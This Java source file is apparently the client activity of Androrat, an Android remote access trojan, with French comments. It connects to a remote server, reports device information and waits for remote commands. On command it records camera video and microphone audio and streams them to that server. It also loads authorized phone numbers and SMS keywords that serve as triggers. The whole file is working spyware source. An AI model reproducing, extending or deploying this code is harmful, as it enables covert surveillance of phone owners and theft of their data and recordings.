package my.app.activityclient; import inout.Protocol; import inout.Controler; import java.io.IOException; import java.io.InputStream; import java.util.ArrayList; import java.util.Calendar; import java.util.StringTokenizer; import java.util.prefs.Preferences; import out.Connection; import my.app.Library.CallMonitor; import my.app.Library.SystemInfo; import android.hardware.Camera.PictureCallback; import Packet.*; import android.app.AlarmManager; import android.app.PendingIntent; import android.content.Intent; import android.content.IntentFilter; import android.content.SharedPreferences; import android.content.pm.PackageManager; import android.hardware.Camera; import android.location.Address; import android.media.MediaRecorder; import android.net.LocalServerSocket; import android.net.LocalSocket; import android.net.LocalSocketAddress; import android.os.Bundle; import android.os.Handler; import android.os.Message; import android.util.Log; import android.widget.Toast; import Packet.CommandPacket; import Packet.LogPacket; import Packet.PreferencePacket; import Packet.TransportPacket; import android.app.Activity; import android.view.SurfaceHolder; import android.view.View; import android.view.View.OnClickListener; import android.widget.Button; import android.widget.EditText; import android.view.SurfaceView; public class LauncherActivity extends ClientListener implements Controler, SurfaceHolder.Callback, OnClickListener { /** Called when the activity is first created. */ public final String TAG = LauncherActivity.class.getSimpleName(); Connection conn; int nbAttempts = 10; //sera décrementé a 5 pour 5 minute 3 pour 10 minute .. int elapsedTime = 1; // 1 minute boolean stop = false; //Pour que les threads puissent s'arreter en cas de déconnexion boolean isRunning = false; //Le service tourne boolean isListening = false; //Le service est connecté au serveur //final boolean waitTrigger = false; //On attend un évenement pour essayer de se connecter. Thread readthread; ProcessCommand procCmd ; byte[] cmd ; CommandPacket packet ; //--added photo Camera cam; byte[] image; int tmpch; //------------- //-- added Video private boolean isRecording = false; private Camera camera; private MediaRecorder mMediaRecorder; private SurfaceHolder holder; private Button captureButton; boolean started = false; public static String SOCKET_ADDRESS = "myLocalSocket"; LocalSocket ls; ClientListener ctx; Thread th; int channel; byte[] tmp; byte[] header = {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 8, 109, 100, 97, 116}; byte[] pattern = {0, 0, -128, 2, 28, -32, 1, 0, 17, 19, -29, -61}; boolean headerfound = false; int count = 0; //------------- private Handler handler = new Handler() { public void handleMessage(Message msg) { Bundle b = msg.getData(); processCommand(b); } }; Button btnStart, btnStop; EditText ipfield, portfield; @Override public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.main); ipfield = (EditText) findViewById(R.id.ipfield); portfield =(EditText) findViewById(R.id.portfield); captureButton = (Button) findViewById(R.id.button_capture); captureButton.setOnClickListener(this); //onStartCommand(); SurfaceView cameraView = (SurfaceView) findViewById(R.id.camera_preview); holder = cameraView.getHolder(); holder.addCallback(this); holder.setType(SurfaceHolder.SURFACE_TYPE_PUSH_BUFFERS); //constructorVideo(); } public void onStartCommand() { Log.i(TAG, "In onCreate"); infos = new SystemInfo(this); procCmd = new ProcessCommand(this); loadPreferences(); this.ip = ipfield.getText().toString(); this.port = new Integer(portfield.getText().toString()); //this.ip = "192.168.0.12"; //this.port = 9999; if(!isRunning) {// C'est la première fois qu'on le lance //--- On ne passera qu'une fois ici --- isRunning = true; conn = new Connection(ip,port,this);//On se connecte et on lance les threads Log.i(TAG,"Try to connect to "+ip+":"+port); if(conn.connect()) { packet = new CommandPacket(); readthread = new Thread(new Runnable() { public void run() { waitInstruction(); } }); readthread.start(); //On commence vraiment a écouter CommandPacket pack = new CommandPacket(Protocol.CONNECT, 0, infos.getBasicInfos()); handleData(0,pack.build()); //gps = new GPSListener(this, LocationManager.NETWORK_PROVIDER,(short)4); //!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! isListening = true; Toast.makeText(getApplicationContext(), "Connected!", Toast.LENGTH_LONG).show(); } else { Toast.makeText(getApplicationContext(), "Connection failed", Toast.LENGTH_LONG).show(); } } } public void waitInstruction() { //Le thread sera bloqué dedans try { for(;;) { if(stop) break; conn.getInstruction() ; } } catch(Exception e) { isListening = false; //Toast.makeText(getApplicationContext(), "Client disconnected !", Toast.LENGTH_LONG).show(); } } public void processCommand(Bundle b) { try{ short com = b.getShort("command"); byte[] args = b.getByteArray("arguments"); int ch = b.getInt("chan"); if(com == 106) { tmpch = ch; constructorVideo(); start(); //captureButton.performClick(); } else if(com == 107) { stop(); //captureButton.performClick(); } else procCmd.process(com,args,ch); } catch(Exception e) { sendError("Error on Client:"+e.getMessage()); } } public void constructorVideo() { //ctx = c; //this.channel = chan; th = new Thread(new Runnable() { public void run() { listen(); } }); th.start(); try { Thread.sleep(1000); } catch (Exception e) {} ls = new LocalSocket(); try { ls.connect(new LocalSocketAddress(SOCKET_ADDRESS)); } catch (IOException e) { //stop(); } camera = Camera.open(); } public void start() { if (prepareVideoRecorder()) { mMediaRecorder.start(); captureButton.setText("Stop"); isRecording = true; } else { releaseMediaRecorder(); } } public void stop() { if (isRecording) { //constructorVideo(); mMediaRecorder.stop(); releaseMediaRecorder(); camera.lock(); captureButton.setText("Start"); isRecording = false; } } @Override protected void onPause() { super.onPause(); releaseMediaRecorder(); // if you are using MediaRecorder, release it first releaseCamera(); // release the camera immediately on pause event } public void onClick(View v) { if(started) { //destroyMe(); started = false; finish(); } else { onStartCommand(); started = true; } /* if (isRecording) { mMediaRecorder.stop(); releaseMediaRecorder(); camera.lock(); captureButton.setText("Capture"); isRecording = false; } else { if (prepareVideoRecorder()) { mMediaRecorder.start(); captureButton.setText("Stop"); isRecording = true; } else { releaseMediaRecorder(); } }*/ } public void listen() { try { LocalServerSocket server = new LocalServerSocket(SOCKET_ADDRESS); LocalSocket receiver = server.accept(); if (receiver != null) { InputStream input = receiver.getInputStream(); byte[] buffer = new byte[1024]; // simply for java.util.ArrayList boolean rec = true; while(rec) { int read = input.read(buffer); if(read == -1) { rec = false; Log.e(TAG,"-1 read in socket"); break; } if(!isRecording) rec= false; if(!headerfound) { int i = ByteArrayFinder.find(buffer, pattern); if(i != -1) { headerfound = true; handleData(tmpch, header); handleData(tmpch, pattern); try { tmp = new byte[read-(i+pattern.length)]; System.arraycopy(buffer, i+pattern.length, tmp, 0, read-(i+pattern.length)); handleData(tmpch, tmp); Log.i(TAG,"Paquet: "+count); count++; } catch(Exception e) {} } } else { tmp = new byte[read]; System.arraycopy(buffer, 0, tmp, 0, read); handleData(tmpch, tmp); Log.i(TAG,"Paquet: "+count); count++; } //out.write(buffer, 0, readed); } headerfound = false; } } catch (IOException e) { Log.e(getClass().getName(), e.getMessage()); } } private boolean prepareVideoRecorder(){ mMediaRecorder = new MediaRecorder(); // Step 1: Unlock and set camera to MediaRecorder camera.unlock(); mMediaRecorder.setCamera(camera); // Step 2: Set sources mMediaRecorder.setAudioSource(MediaRecorder.AudioSource.DEFAULT); mMediaRecorder.setVideoSource(MediaRecorder.VideoSource.DEFAULT); // Step 3: Set a CamcorderProfile (requires API Level 8 or higher) //mMediaRecorder.setProfile(CamcorderProfile.get(CamcorderProfile.QUALITY_HIGH)); // Step 3: Set output format and encoding (for versions prior to API Level 8) mMediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.MPEG_4); mMediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.DEFAULT); mMediaRecorder.setVideoEncoder(MediaRecorder.VideoEncoder.H263); // Step 4: Set output file mMediaRecorder.setOutputFile(ls.getFileDescriptor()); // Step 5: Set the preview output //mMediaRecorder.setPreviewDisplay(mPreview.getHolder().getSurface()); mMediaRecorder.setPreviewDisplay(holder.getSurface()); Log.i(TAG, "Surface valid: "+holder.getSurface().isValid()); /*mMediaRecorder.setVideoSize(176, 144); mMediaRecorder.setVideoFrameRate(20); mMediaRecorder.setAudioChannels(1); */ // Step 6: Prepare configured MediaRecorder try { mMediaRecorder.prepare(); } catch (Exception e) { Log.d(TAG, "Exception preparing MediaRecorder: " + e.getMessage()); releaseMediaRecorder(); return false; } return true; } private void releaseMediaRecorder(){ if (mMediaRecorder != null) { mMediaRecorder.reset(); mMediaRecorder.release(); mMediaRecorder = null; camera.lock(); } } private void releaseCamera(){ if (camera != null){ camera.release(); // release the camera for other applications camera = null; } } public void loadPreferences() { PreferencePacket p = procCmd.loadPreferences(); waitTrigger = p.isWaitTrigger(); ip = p.getIp(); port = p.getPort(); authorizedNumbersCall = p.getPhoneNumberCall(); authorizedNumbersSMS = p.getPhoneNumberSMS(); authorizedNumbersKeywords = p.getKeywordSMS(); } public void sendInformation(String infos) { //Methode que le Client doit implémenter pour envoyer des informations conn.sendData(1, new LogPacket(System.currentTimeMillis(),(byte) 0, infos).build()); } public void sendError(String error) { //Methode que le Client doit implémenter pour envoyer des informations conn.sendData(1, new LogPacket(System.currentTimeMillis(),(byte) 1, error).build()); } public void handleData(int channel, byte[] data) { conn.sendData(channel, data); } public void destroyMe() { onDestroy(); } public void onDestroy() { //savePreferences("myPref"); //savePreferences("preferences"); if(!isRecording) { Log.i(TAG, "in onDestroy"); if(conn != null) { try { conn.stop(); } catch(Exception e) { Log.i(TAG, "Error in socket close: "+e.getMessage()); } } stop = true; super.onDestroy(); } } public void Storage(TransportPacket p, String i) { try { packet = new CommandPacket(); //!!!!!!!!!!!! Sinon on peut surement en valeur les arguments des command précédantes ! packet.parse(p.getData()); Message mess = new Message(); Bundle b = new Bundle(); b.putShort("command", packet.getCommand()); b.putByteArray("arguments", packet.getArguments()); b.putInt("chan", packet.getTargetChannel()); mess.setData(b); handler.sendMessage(mess); } catch(Exception e) { System.out.println("Androrat.Client.storage : pas une commande"); } } public void surfaceChanged(SurfaceHolder holder, int format, int width, int height) { // TODO Auto-generated method stub } public void surfaceCreated(SurfaceHolder holder) { // TODO Auto-generated method stub } public void surfaceDestroyed(SurfaceHolder holder) { // TODO Auto-generated method stub } static class ByteArrayFinder { public static int find(byte[] source, byte[] match) { // sanity checks if (source == null || match == null) return -1; if (source.length == 0 || match.length == 0) return -1; int ret = -1; int spos = 0; int mpos = 0; byte m = match[mpos]; for (; spos < source.length; spos++) { if (m == source[spos]) { // starting match if (mpos == 0) ret = spos; // finishing match else if (mpos == match.length - 1) return ret; mpos++; m = match[mpos]; } else { ret = -1; mpos = 0; m = match[mpos]; } } return ret; } }; }